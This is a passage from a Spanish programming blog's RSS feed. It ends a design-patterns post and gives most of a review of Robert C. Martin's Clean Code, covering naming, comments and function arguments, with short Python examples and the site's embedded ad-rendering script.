error.&lt;/p&gt;&#xA;&lt;p&gt;Puedes ver el como se implementó el decorador &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/es/2.2/_modules/django/contrib/auth/decorators/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;login_required&lt;/a&gt;&#xA; de django original en su documentación.&lt;/p&gt;&#xA;&lt;h2 id=&#34;donde-aprender-patrones-de-diseno&#34;&gt;¿Dónde aprender patrones de diseño?&lt;/h2&gt;&#xA;&lt;p&gt;Mis recomendaciones para aprender patrones de diseño son las siguientes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4lolQe3&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Head First Design Patterns de Eric Freeman y Kathy Sierra&lt;/a&gt;&#xA; (El más popular)&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/3IxCcSV&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Practical Python Design Patterns de Wessel Badenhorst&lt;/a&gt;&#xA; (Yo aprendí con este por ser completo y simple)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Pero yo creo que de este tema hay basta información en internet como para que leas un libro completo al respecto, además con darte una idea de los patrones más comunes y sus usos debería ser suficiente, puedes ahondar en ellos conforme los necesites.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fuente-de-codigo-de-los-patrones-de-diseno&#34;&gt;Fuente de código de los patrones de diseño&lt;/h2&gt;&#xA;&lt;p&gt;El código de estos ejemplos está tomado del libro &lt;em&gt;Practical Python Design Patterns&lt;/em&gt; de Wessel Badenhorst.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Los patrones de diseño son soluciones comunes a problemas comunes, representados por entidades y las relaciones entre ellas en programación, entre ellos probablemente ya has escuchado hablar de algunos tales como: singleton, MVC o MTV, observer, entre otros. Pero esa explicación de los patrones de diseño es muy técnica para un primer acercamiento, déjame lo simplifico a continuación.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-son-los-patrones-de-diseno&#34;&gt;¿Qué son los patrones de diseño?&lt;/h2&gt;&#xA;&lt;p&gt;Cuando queremos desplazarnos de un lugar a otro por cortas distancias utilizamos un vehículo terrestre, estos generalmente tienen 3 elementos: ruedas, una superficie donde colocaremos el objeto o persona a transportar y un medio que genere o transfiera la energía necesaria para el movimiento. Las ruedas generalmente van en contacto con el piso y el método de propulsión está unido a las ruedas para hacerlas girar y permitir el movimiento.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>El libro Clean Code Uncle Bob y Los Paradigmas Del Código Limpio</title>
      <link>https://coffeebytes.dev/es/linux/el-libro-clean-code-uncle-bob-y-los-paradigmas-del-codigo-limpio/</link>
      <pubDate>Sat, 16 May 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/linux/el-libro-clean-code-uncle-bob-y-los-paradigmas-del-codigo-limpio/</guid>
      
      <category>linux</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hay dos tipos de programadores, los que odian Clean Code y los que lo aman. Este libro desata discusiones acaloradas en internet; unos lo consideran una biblia que profetiza mejores tiempos con código limpio y ordenado, otros lo consideran un manual desactualizado escrito por un autoproclamado dictador pedante sobre como escribir código ¿Y yo? Pues para ser sincero un poco de ambos. Esta entrada es mi humilde opinión del libro Clean Code de Robert C. Martín, el &lt;strong&gt;creador del ampliamente conocido acrónimo SOLID&lt;/strong&gt; y también conocido como el &lt;em&gt;uncle bob&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;de-que-trata-clean-code&#34;&gt;¿De qué trata Clean Code?&lt;/h2&gt;&#xA;&lt;p&gt;La mayoría de los libros sobre programación que hay disponibles en el mercado se centran en enseñarte la sintaxis de un lenguaje de programación y algunas convenciones populares. Sin embargo la mayoría no profundizan demasiado en como organizar el código, cual es la longitud adecuada de una función, como nombrar las variables, que partes del código deberían tener comentarios y cuales no, en determinar la cantidad correcta de argumentos que debe recibir una función, o el momento en el que se debe dividir un archivo en dos, etc. Clean Code pretende responder a todos esos cuestionamientos o por lo menos ser una guia al respecto.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/clean-code-meme.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/clean-code-meme.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Clean code meme&#34; width=&#34;1600&#34; height=&#34;900&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;cual-es-la-importancia-de-usar-codigo-limpio-o-clean-code&#34;&gt;¿Cuál es la importancia de usar código limpio o clean code?&lt;/h3&gt;&#xA;&lt;p&gt;A través de las páginas de Clean Code, &lt;em&gt;uncle bob&lt;/em&gt; nos adentra en la temática con historias de algunas &lt;strong&gt;empresas que han tenido que cerrar sus puertas por culpa de código mal escrito&lt;/strong&gt;, sí, así de graves pueden llegar a ser las consecuencias de código ilegible o difícil de comprender.&lt;/p&gt;&#xA;&lt;p&gt;El buen &lt;em&gt;uncle Bob&lt;/em&gt;, afirma que los programadores pasan más tiempo leyendo código que escribiendo. Esto debería darle una visión completamente nueva a la manera en la que escribimos nuestro código, pues tenemos la certeza de que alguien más lo leerá (incluso nosotros mismos en el futuro), al escribir el código debemos preguntarnos a nosotros mismos: ¿el objetivo que persiguen mis funciones es claro? ¿se entiende porque elegí cierto flujo de código en lugar de otro? ¿es claro el significado de cada variable?&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/cleaner-code-to-avoid-interacting-with-people.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/cleaner-code-to-avoid-interacting-with-people.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Writing clean code so you don&amp;#39;t have to interact with people&#34; width=&#34;500&#34; height=&#34;714&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;como-nombrar-variables-clases-y-funciones-segun-clean-code&#34;&gt;¿Cómo nombrar variables, clases y funciones según Clean Code?&lt;/h3&gt;&#xA;&lt;p&gt;Según Clean code el código debe autocomentarse a si mismo a través del nombre de las variables, funciones, clases y demás. De ahí la fama que tiene el libro de aborrecer los comentarios y considerarlos un &lt;em&gt;mal necesario&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Este concepto es bastante simple pero aún así es muy común ver código críptico y difícil de entender.&lt;/p&gt;&#xA;&lt;p&gt;Considera este ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Codigo criptico en Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;i&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;list&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [x &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; x &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;57&lt;/span&gt;)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;52&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    a &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sample(&lt;span style=&#34;color:#ff5c57&#34;&gt;list&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(a)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    i&lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Sabes que hace el código de arriba? No a nivel matemático, sino lo que representa. ¿Qué tanto tiempo te tomo darte cuenta de que representaba un ejemplo burdo (y con pésima aleatoriedad) de un sorteo tipo lotería? ¿Podrías haber predicho que otro tipo de funciones necesitarías más adelante o que habría que corregir solo al mirar el código?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Codigo más declarativo en Python&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lottoDrawCounter &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lottoDrawsPerYear &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;52&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lottoNumbersToSelect &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lottoNumbers &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [x &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; x &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;57&lt;/span&gt;)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; lottoDrawCounter &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt; lottoDrawsPerYear:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    winningNumbers &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sample(lottoNumbers, lottoNumbersToSelect)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(winningNumbers)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lottoCounter&lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este ejemplo de código aporta mucha más información al desarrollador, a pesar de ser imperfecto.&lt;/p&gt;&#xA;&lt;p&gt;Si leyeras el código de arriba probablemente te vendrían a la cabeza varias ideas sobre que podría salir mal o bien al ejecutar el código, así como ideas para modificarlo y mejorarlo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;comentar-el-codigo-esta-mal&#34;&gt;¿Comentar el código está mal?&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;El uso adecuado de los comentarios es para compensar nuestro fracaso al expresarnos en el código.&lt;/p&gt;&#xA;&lt;p&gt;Robert C. Martin&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;El autor considera a los comentarios como algo que debe evitarse si es posible. Sí, yo sé que &lt;strong&gt;en todos lados te han metido por la cabeza que debemos comentar nuestro código&lt;/strong&gt; y quizás te parezca controversial que el polémico &lt;em&gt;uncle Bob&lt;/em&gt; considere que debes evitar escribir comentarios.&lt;/p&gt;&#xA;&lt;p&gt;Según él, la razón es que el código debe ser explicativo por si mismo, sí necesitas comentarios es que &lt;strong&gt;fallaste al escribir un código que hable por si mismo&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Mira el siguiente fragmento de código:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Revisa si el usuario es candidato para un descuento&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; employee&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status_confirmation &lt;span style=&#34;color:#ff6ac1&#34;&gt;and&lt;/span&gt; employee&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;days_since_registration()&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;365&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;and&lt;/span&gt; employee&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;owns_a_credit_card:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    process_order()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora mira este:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; employee&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;is_eligible_for_discount():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    process_order()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El comentario en el primer fragmento de código es totalmente innecesario, el nombre de la función puede reemplazarlo y se entiende perfectamente cual es el objetivo.&lt;/p&gt;&#xA;&lt;p&gt;¿Hay alguna situación que amerite comentarios según Uncle Bob? Sí, según el autor de Clean Code, hay casos &lt;strong&gt;muy puntuales&lt;/strong&gt; en que es mejor tener un comentario que ninguno (como para advertir consecuencias, TODO, declarar intenciones) pero, desde el punto de vista de nuestro mesias del código limpio, son más bien excepciones a la regla.&lt;/p&gt;&#xA;&lt;h3 id=&#34;que-opino-yo-de-los-comentarios-en-el-codigo&#34;&gt;¿Qué opino yo de los comentarios en el código?&lt;/h3&gt;&#xA;&lt;p&gt;Yo no tengo una postura tan rigida al respecto, yo creo que está bien escribir comentarios si pueden reducir el tiempo que otros desarrolladores pasan intentando comprender el código, incluso aunque a veces sea obvio.&lt;/p&gt;&#xA;&lt;p&gt;Los comentarios deben usarse si le facilitan la vida a los demás, incluso si tú no los necesitas.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo, si se utiliza el algoritmo Fisher-Yates para generar números aleatorios, yo pondría una pequeña anotación para ahorrar una búsqueda en wikipedia al desarrollador que lo lea, sí, aunque sea &amp;ldquo;conocimiento básico&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;También añadiría un &amp;ldquo;no olvides añadir el id= WHERE&amp;rdquo; en una cláusula DELETE, si sospecho que puede ocurrir un accidente en esa línea de código.&lt;/p&gt;&#xA;&lt;p&gt;Pero no te confundas, tampoco haría cosas como esta:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# PLEASE DONT DONT DO THIS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Check if the product is available&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;is_product_available &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; check_if_product_available()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;cuantos-argumentos-debe-tener-una-funcion-segun-clean-code&#34;&gt;¿Cuantos argumentos debe tener una función según Clean Code?&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;El número ideal de argumentos para una función es cero. Después uno, seguido de cerca por dos. Tres argumentos deberían evitarse siempre que sea posible. Más de tres requiere una justificación muy especial&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Robert C. Martin&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;En el capítulo que habla de las funciones, &lt;em&gt;uncle bob&lt;/em&gt; enfatiza la necesidad de mantener los argumentos que una función recibe al mínimo, además considera que cualquier función que reciba más de tres argumentos &lt;strong&gt;no debería ser usada&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Desde el punto de vista de nuestro capataz del código limpio, los argumentos te forzan a requerir más información de una función que su nombre, pues ahora debes 